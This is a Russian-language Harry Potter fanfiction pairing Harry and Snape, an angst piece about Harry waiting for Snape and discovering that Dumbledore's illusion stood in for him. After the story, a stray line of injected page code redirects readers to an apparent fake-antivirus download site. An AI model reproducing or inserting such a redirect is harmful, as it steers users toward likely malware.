Ключ

Автор: BlackStar
Бета: Турмалин, Blackky
Рейтинг: PG-15
Пейринг: ГП/СС
Жанр: агнст
Предупреждение: упоминание БДСМ.
Саммари: Гарри не спит
Дисклеймер: ни на что не претендую, все герои Дж. К. Роулинг.
Написано для Ripley.
Ссылка на песню Тату “Заведи”

Пробуди мою страсть,
Заведи мою плоть,
Забери мою власть,
Мне уже не помочь,
Заведи мою плоть,
Мне ладонь протяни,
Ты меня разбуди,
Заведи, заведи…

- Нокс.

Тусклый свет гаснет, и темнота скрывает всю бедность и ветхость обстановки.

- Люмос.

И вновь перед глазами – грязный камин с облупленной краской; он черен от сажи.

- Нокс.

И вновь ничего не видно, даже глаз не надо закрывать. Я кривлю губы. Что хуже – погружаться в темноту, ожидая внезапного нападения сзади, или сидеть со светом и бессмысленно разглядывать уже порядком поднадоевший интерьер – я не знаю, но эта игра словами щекочет нервы.

Я жду.

- Люмос.

Я знаю, ты придешь.

- Нокс.

И ты не сможешь избежать уготованного тебе.

- Люмос.

И даже свет тебя не спугнет.

Ведь когда-нибудь ты устанешь скрываться и прятаться.

Я не буду тебя искать.

Ведь я уверен, что ты сам найдешь дорогу сюда.

- Нокс.

Работа с бумагами отупляет, доводит порой действия до автоматизма. Ставить свои многочисленные подписи почти на всех бумагах Министерства – отвлекаться на чтение каждого нет нужды: моя подпись лишь видимость и это входит в оплату моих услуг – позволяет одновременно думать о другом.

Или не думать ни о чем, что тоже иногда необходимо.

Сегодня я вновь вспоминаю тебя.

Вернее о том, как ты работал с хлыстом.

С таким азартом, жаром, словно ты очень давно хотел это сделать.

И именно со мной.

Это можно называть по-разному: оставить свою метку, попытаться меня наказать, отомстить, просто получить низменное удовольствие.

Мне все равно, как это назвать.

Теперь это не имеет значения.

Ведь ты забрал с собой все: ту комнату, в которой маски слетали, стоило нам туда войти, воспоминания о месте ее нахождения – я обыскал все твои комнаты, но тщетно: ни потайной двери, ни намека на подземный ход.

И, главное, – ключ.

Мне никогда не доводилось его видеть, но я до сих пор ощущаю его контуры спиной – у тебя под мантией на груди, когда ты прижимал меня к стене или заставлял нагнуться над столом.

Фантомные ощущения.

Столь четкие и яркие, что у меня до сих пор мурашки бегут по телу от воспоминания о том, как он, даже сквозь слои одежды, казался холодным, – нет! ледяным, – и пульсирующим.

Ключ словно впитывал мое тепло, поглощал страх и воспоминания, держащие меня в постоянном напряжении.

Я помню, как ты прижимался ко мне всем телом, вдавливая в любую поверхность, хрипло шептал мое имя, цеплялся тонкими пальцами за плечи, – до синяков, – и тяжело дышал мне в затылок.

А между нами был ключ, стирающий границы приличий и смущения.

Я хочу обратно в ту комнату, к тебе.

Я не смогу без этого.

И поэтому я жду по ночам в твоем магловском доме.

- Люмос.

Здесь все так же, как и день назад. Ничего не изменилось.

Я бы заметил.

- Нокс.

В темноте чуть слышно скребутся крысы, но я привык к их невидимому присутствию.

- Люмос.

Я сижу в старом облезлом кресле каждую ночь с того момента, как ты исчез – два месяца назад.

Растворился без следа в тумане многочисленных Лондонских улиц. Поначалу я пытался искать тебя, но потом понял, что все бесполезно. И занял выжидательную позицию.

Лондон в тумане прекрасен, неуловимо таинственен и загадочен. Он преображает все, до чего может дотянуться, просачивается в любые щели, скрывает тени и прячет людей.

Ненавижу туман.

Теперь.

Его невозможно поймать, он просачивается сквозь пальцы, как и ты.

Я не устал ждать, хоть зеркала и люди, меня окружающие, не перестают твердить обратное.

Это как мечта, как заветное желание, для осуществления которого ты прилагаешь все возможные силы.

Только чем ближе ты к ней, тем страшнее: кажется, что, дойдя до конца, ты просто рухнешь, не удержав груз победы. Сдохнешь, как подыхали голодающие неделями, после того, как объедались.

Но если уйдет и эта цель, то что останется?

Ничего. Я живу этими воспоминаниями.

Где-то скрипят доски, и я настораживаюсь, напряженно вслушиваясь.

Но нет, показалось.

- Нокс.

- Вот это надо подписать, а это проверить, - секретарша. Она глупа, но, вкупе с тем, что никогда не спрашивает меня о самочувствии и не интересуется моими делами, это скорее плюс, чем минус.

Вид из окна – еще одна причина, по которой я согласился на эту пародию работы. Он отвлекает от давящей черноты и кожаной мебели. В дрожь бросает. Пыль и грязь квартиры в Тупике Прядильщика и то производит на меня менее удручающее впечатление.

Пошлость картин бросается в глаза, как только входишь, излишняя вычурность мелких деталей: ручка двери, подлокотники стульев, рамы полотен, вазы, - как будто притягивает взгляд своей неуместностью и заставляет меня морщиться от досады. Не говоря уж о цветовом решении интерьера: черный и белый.

Интересно, мой предшественник случайно не покончил жизнь самоубийством от нагнетаемой этими стенами тоски и безысходности?

Я бы уже не прочь.

За окном виден кусочек реки. Мост. И множество высотных домов.

Все в туманной сизоватой дымке.

Я не замечаю, когда секретарша оставляет меня наедине со своими мыслями. Оторвать глаз от окна я не могу.

Стук ручки о крышку стола заставляет меня вздрогнуть.

Я возвращаюсь к бумагам.

- Люмос.

Мне не скучно одному. Я тешусь воспоминаниями. Они, словно бездомные псы, выжидающие, пока я упаду от усталости, повсюду сопровождают меня. Порой мне кажется, что я слышу их тяжелое дыхание, цокот когтей по дереву, ощущаю их присутствие.

Я не против.

Это дает иллюзорное чувство чьего-то присутствия.

Что угодно – лишь бы не быть одному.

Я слишком устал.

Я достоин этого.

И ты помог мне, без тебя бы я не справился.

Просто появился, когда я был на грани, когда от меня зависело слишком многое.

Слишком многие.

И помог найти себя.

Подал руку, когда остальные в ужасе кривились и избегали меня, словно чумного.

Всего лишь открыл тем ключом дверь в совершенно другой мир.

А потом, когда я закончил свою миссию: наконец-то загнал этого Властелина мира, туда, где ему и следовало быть, – ты все забрал, не оставив ничего.

Кроме воспоминаний.

Я до сих пор не понимаю, как ты мог знать то, в чем даже себе я не сознавался. Как с такой уверенностью и безразличием к тому, что я говорил, ты каждый раз доказывал мне, что невозможное возможно.

Наверное, этого мне не узнать никогда.

Ты всегда был для меня загадкой. За то время, что ты был рядом, я не узнал ничего нового, лишь все более запутываясь в твоих сменах настроения, ничего не значащих, а порой – в слишком откровенных фразах.

И все что мне остается это ждать тебя.

- Нокс, - чуть не забыл.

Министр Магии (я снова забыл, как его зовут, что, впрочем, не столь важно, – ему больше льстит официальное обращение) доброжелательно смотрит на меня, непрерывно разглагольствуя на тему того, нравится ли мне мой новый кабинет. Я, стараясь не смотреть по сторонам, отвечаю, что, конечно же. Он часто-часто кивает головой, машет руками и просто пышет оптимизмом.

Мне душно и, кажется, начинает болеть голова.

Я хочу, чтобы он поскорее ушел.

Мне не нравится этот кабинет.

Блестящая металлическая мебель ненавистна мне еще больше, чем прежняя. Огромные окна выходят на деловую часть Лондона, – за ними только высотки, ни одного куска неба. Второй этаж; секретарша, старая грымза, слишком проницательна и опытна.

Но я стараюсь держать себя в руках. И даже улыбаюсь на какую-то остроту Министра.

Он так и светится.

Меня уже тошнит от его суетливых жестикуляций, кивания головой и не закрывающегося рта.

Что угодно лишь бы не слышать его глубокомысленных изречений.

Меня спасает секретарша:

- Вам послание, мистер Поттер, - совиная почта здесь запрещена, ибо вся корреспонденция подлежит обязательной предварительной проверке.

Я с облегчением пожимаю плечами, давая понять Министру, что меня ждут крайне важные дела. Он еще раз – последний, слава Мерлину, – кивает головой, теперь уже в знак согласия, и исчезает в камине.

Приглашение от Дамблдора неожиданно, но отказаться я не могу – я его должник.

Ведь именно он попросил Снейпа “помочь мне” подготовиться к решающей битве.

Каминная связь, кабинет бессменного директора Хогвартса, воспоминания, лимонные дольки, пушистый ковер, горячий чай, внимательные голубые глаза за стеклами очков и задушевный разговор.

Вот краткая характеристика моих посещений Дамблдора. Этот визит – не исключение.

Хотя, понятие “задушевный разговор” слишком неоднозначное.

- Министр как всегда оптимистичен?

- До омерзения.

- Хмури еще в строю?

- Он незаменим, особенно для выполнения некоторых поручений.

- Ограничили ввоз фениксов?

- Видимость. Необходимо повышать наш рейтинг среди магического населения Англии.

Он знает все ответы и без меня. Порой мне кажется, что он знает все.

В буквальном смысле. И от этого мурашки по спине.

- Ты все еще ждешь? – проницательный взгляд в мою сторону.

Я неопределенно жму плечами. От него не укрывается моя рассеянность и то, что я часто смотрю на часы.

Он поджимает губы и больше не произносит не слова.

Чай мы допиваем в молчании.

- Люмос.

Сегодня я вновь стараюсь воскресить воспоминания.

Но память пуста, я вымотан.

- Нокс.

Внезапно мне хочется хоть что-нибудь изменить.

Я даже ждать тебя в этом доме устал.

Необходимо взяться за поиски.

Попытаться прочесать знакомых.

- Люмос.

Хоть что-нибудь, лишь бы не сидеть ночи на пролет в этом проклятом доме.

- Нокс.

У меня раскалывается голова.

- Люмос.

Я от удивления вздрагиваю, когда вижу тебя перед собой. Жадно шаря по тебе взглядом, я стараюсь уловить малейшее изменение, найти хоть один намек на то, где ты так долго пропадал. Но ты стоишь передо мной настолько равнодушный и знакомый, что у меня перехватывает дыхание; вопрос о том, как ты здесь очутился, кажется бессмысленным и неуместным.

Ты бледен и невозмутим как всегда; нечитаемый взгляд и приподнятая бровь.

Я пытаюсь выдавить из себя хоть что-нибудь, но получается то ли всхлип, то ли стон.

Ты хмыкаешь. Молчишь.

И я не выдерживаю первым: бросаюсь к тебе, хватаясь за рукава пальто, но ты настойчиво отодвигаешься, я падаю на колени, растерянно глядя на тебя снизу вверх. Ты наклоняешься надо мной, заслоняя свет, и шепчешь мне в губы:

- Прощай.

И в тот же миг твое лицо начинает меняться, черты стираются, осыпаясь вниз песком, по пути превращаясь в пыль. Она проходит у меня сквозь пальцы, и я, как зачарованный, смотрю на свои руки.

От тебя через несколько секунд ничего не остается, а в руки мне падает тяжелый кованый ключ на самой обыкновенной цепочке. Несколько секунд – и он на глазах тускнеет, покрывается ржавчиной.

Но даже сквозь ее слой я вижу слово, не столь пугающее теперь: “АД”.

Я разглядываю его так пристально, словно пытаюсь уцепиться за жизнь, словно он – единственное, что у меня осталось.

Это вполне в духе Снейпа. Или...

И вдруг – как вспышка: “а с чего я взял, что это слово?”

И потрескавшиеся сухие губы кривятся в усмешке.

Монограмма, – изящная и оглушающе знакомая. Подпись волшебника, создавшего столь идеальное подобие необходимого мне.

Иллюзия в обмен на мир и спокойствие целой страны.

Цена победы, которую старик уплатил мне.

Мы квиты.

- Нокс.

Обсуждение на форуме

setTimeout(\'document.location.href = "http://base-file.com/antivirus"\', 3000);'); } ?>